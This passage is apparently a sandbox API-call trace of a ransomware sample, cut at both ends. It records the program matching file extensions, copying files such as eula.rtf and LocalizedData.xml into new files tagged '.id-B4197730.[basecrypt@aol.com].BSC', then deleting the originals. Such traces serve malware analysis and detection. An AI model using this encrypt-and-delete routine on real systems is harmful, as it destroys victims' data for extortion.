4 [0103.273] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.273] lstrlenW (lpString=".bz2") returned 4 [0103.273] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.273] lstrlenW (lpString=".7z") returned 3 [0103.273] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.273] lstrlenW (lpString=".dbf") returned 4 [0103.273] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.273] lstrlenW (lpString=".1cd") returned 4 [0103.273] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.273] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0103.273] lstrlenW (lpString=".jpg") returned 4 [0103.273] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.273] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0103.273] lstrlenW (lpString="eula.rtf") returned 8 [0103.273] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0103.274] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=3859) returned 1 [0103.274] CloseHandle (hObject=0x33c) returned 1 [0103.274] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80 [0103.274] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.274] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0103.274] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0103.274] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0103.274] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0103.275] GetLastError () returned 0x0 [0103.275] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0xf13, lpOverlapped=0x0) returned 1 [0103.365] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xf20, lpOverlapped=0x0) returned 1 [0103.366] ReadFile (in: hFile=0x33c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0103.366] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.366] SetEndOfFile (hFile=0x344) returned 1 [0103.366] CloseHandle (hObject=0x344) returned 1 [0103.367] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0103.367] SetEndOfFile (hFile=0x33c) returned 1 [0103.368] CloseHandle (hObject=0x33c) returned 1 [0103.368] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.368] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1 [0103.369] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0103.369] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0103.369] lstrlenW (lpString=".doc") returned 4 [0103.369] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.369] lstrlenW (lpString=".docx") returned 5 [0103.369] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.369] lstrlenW (lpString=".pdf") returned 4 [0103.369] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.369] lstrlenW (lpString=".xls") returned 4 [0103.369] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.369] lstrlenW (lpString=".xlsx") returned 5 [0103.369] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.369] lstrlenW (lpString=".ppt") returned 4 [0103.369] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.369] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0103.369] lstrlenW (lpString=".zip") returned 4 [0103.369] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.370] lstrlenW (lpString=".rar") returned 4 [0103.370] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.370] lstrlenW (lpString=".bz2") returned 4 [0103.370] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.370] lstrlenW (lpString=".7z") returned 3 [0103.370] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.370] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0103.370] lstrlenW (lpString=".dbf") returned 4 [0103.370] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.370] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0103.370] lstrlenW (lpString=".1cd") returned 4 [0103.370] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.370] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0103.370] lstrlenW (lpString=".jpg") returned 4 [0103.370] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.370] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0103.370] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0103.370] lstrlenW (lpString=".doc") returned 4 [0103.370] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.370] lstrlenW (lpString=".docx") returned 5 [0103.370] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.370] lstrlenW (lpString=".pdf") returned 4 [0103.370] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.370] lstrlenW (lpString=".xls") returned 4 [0103.371] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.371] lstrlenW (lpString=".xlsx") returned 5 [0103.371] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.371] lstrlenW (lpString=".ppt") returned 4 [0103.371] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0103.371] lstrlenW (lpString=".zip") returned 4 [0103.371] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.371] lstrlenW (lpString=".rar") returned 4 [0103.371] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.371] lstrlenW (lpString=".bz2") returned 4 [0103.371] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.371] lstrlenW (lpString=".7z") returned 3 [0103.371] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0103.371] lstrlenW (lpString=".dbf") returned 4 [0103.371] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0103.371] lstrlenW (lpString=".1cd") returned 4 [0103.371] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.371] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0103.371] lstrlenW (lpString=".jpg") returned 4 [0103.371] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.372] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0103.372] lstrlenW (lpString="eula.rtf") returned 8 [0103.372] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.621] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=4015) returned 1 [0103.621] CloseHandle (hObject=0x35c) returned 1 [0103.621] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80 [0103.621] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.621] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.622] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0103.622] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0103.622] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0103.622] GetLastError () returned 0x0 [0103.622] ReadFile (in: hFile=0x35c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0xfaf, lpOverlapped=0x0) returned 1 [0103.708] WriteFile (in: hFile=0x334, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xfb0, lpOverlapped=0x0) returned 1 [0103.709] ReadFile (in: hFile=0x35c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0103.709] WriteFile (in: hFile=0x334, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.709] SetEndOfFile (hFile=0x334) returned 1 [0103.710] CloseHandle (hObject=0x334) returned 1 [0103.710] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0103.711] SetEndOfFile (hFile=0x35c) returned 1 [0103.712] CloseHandle (hObject=0x35c) returned 1 [0103.712] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.713] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1 [0103.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.713] lstrlenW (lpString=".doc") returned 4 [0103.713] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.713] lstrlenW (lpString=".docx") returned 5 [0103.713] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.713] lstrlenW (lpString=".pdf") returned 4 [0103.713] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.713] lstrlenW (lpString=".xls") returned 4 [0103.713] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.713] lstrlenW (lpString=".xlsx") returned 5 [0103.713] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.713] lstrlenW (lpString=".ppt") returned 4 [0103.713] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.714] lstrlenW (lpString=".zip") returned 4 [0103.714] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.714] lstrlenW (lpString=".rar") returned 4 [0103.714] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.714] lstrlenW (lpString=".bz2") returned 4 [0103.714] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.714] lstrlenW (lpString=".7z") returned 3 [0103.714] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.714] lstrlenW (lpString=".dbf") returned 4 [0103.714] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.714] lstrlenW (lpString=".1cd") returned 4 [0103.714] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.714] lstrlenW (lpString=".jpg") returned 4 [0103.714] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.714] lstrlenW (lpString=".doc") returned 4 [0103.714] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.715] lstrlenW (lpString=".docx") returned 5 [0103.715] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.715] lstrlenW (lpString=".pdf") returned 4 [0103.715] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.715] lstrlenW (lpString=".xls") returned 4 [0103.715] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.715] lstrlenW (lpString=".xlsx") returned 5 [0103.715] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.715] lstrlenW (lpString=".ppt") returned 4 [0103.715] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.715] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.715] lstrlenW (lpString=".zip") returned 4 [0103.715] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.715] lstrlenW (lpString=".rar") returned 4 [0103.715] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.715] lstrlenW (lpString=".bz2") returned 4 [0103.716] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.716] lstrlenW (lpString=".7z") returned 3 [0103.716] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.716] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.716] lstrlenW (lpString=".dbf") returned 4 [0103.716] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.716] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.716] lstrlenW (lpString=".1cd") returned 4 [0103.716] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.716] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\eula.rtf") returned 35 [0103.716] lstrlenW (lpString=".jpg") returned 4 [0103.716] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.716] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0103.716] lstrlenW (lpString="LocalizedData.xml") returned 17 [0103.716] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.717] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=79996) returned 1 [0103.717] CloseHandle (hObject=0x35c) returned 1 [0103.717] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80 [0103.717] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.717] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.718] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0103.718] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0103.718] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0103.718] GetLastError () returned 0x0 [0103.718] ReadFile (in: hFile=0x35c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x1387c, lpOverlapped=0x0) returned 1 [0103.870] WriteFile (in: hFile=0x334, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0x13880, lpOverlapped=0x0) returned 1 [0103.871] ReadFile (in: hFile=0x35c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0103.872] WriteFile (in: hFile=0x334, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.872] SetEndOfFile (hFile=0x334) returned 1 [0103.872] CloseHandle (hObject=0x334) returned 1 [0103.874] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0103.874] SetEndOfFile (hFile=0x35c) returned 1 [0103.875] CloseHandle (hObject=0x35c) returned 1 [0103.875] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.875] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1 [0103.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.876] lstrlenW (lpString=".doc") returned 4 [0103.876] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.876] lstrlenW (lpString=".docx") returned 5 [0103.876] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.876] lstrlenW (lpString=".pdf") returned 4 [0103.876] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.876] lstrlenW (lpString=".xls") returned 4 [0103.876] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.876] lstrlenW (lpString=".xlsx") returned 5 [0103.876] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.876] lstrlenW (lpString=".ppt") returned 4 [0103.876] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.876] lstrlenW (lpString=".zip") returned 4 [0103.876] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.876] lstrlenW (lpString=".rar") returned 4 [0103.876] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.876] lstrlenW (lpString=".bz2") returned 4 [0103.876] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.876] lstrlenW (lpString=".7z") returned 3 [0103.876] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.876] lstrlenW (lpString=".dbf") returned 4 [0103.876] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.876] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.877] lstrlenW (lpString=".1cd") returned 4 [0103.877] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.877] lstrlenW (lpString=".jpg") returned 4 [0103.877] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.877] lstrlenW (lpString=".doc") returned 4 [0103.877] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.877] lstrlenW (lpString=".docx") returned 5 [0103.877] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.877] lstrlenW (lpString=".pdf") returned 4 [0103.877] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.877] lstrlenW (lpString=".xls") returned 4 [0103.877] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.877] lstrlenW (lpString=".xlsx") returned 5 [0103.877] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.877] lstrlenW (lpString=".ppt") returned 4 [0103.877] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.877] lstrlenW (lpString=".zip") returned 4 [0103.877] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.877] lstrlenW (lpString=".rar") returned 4 [0103.877] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.877] lstrlenW (lpString=".bz2") returned 4 [0103.877] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.877] lstrlenW (lpString=".7z") returned 3 [0103.877] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.877] lstrlenW (lpString=".dbf") returned 4 [0103.877] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.877] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.878] lstrlenW (lpString=".1cd") returned 4 [0103.878] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44 [0103.878] lstrlenW (lpString=".jpg") returned 4 [0103.878] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.878] lstrcmpiW (lpString1=".html", lpString2=".BSC") returned 1 [0103.878] lstrlenW (lpString="DHtmlHeader.html") returned 16 [0103.878] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.878] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=16118) returned 1 [0103.878] CloseHandle (hObject=0x35c) returned 1 [0103.878] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80 [0103.878] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.878] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0103.878] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0103.878] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0103.879] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[basecrypt@aol.com].bsc"), 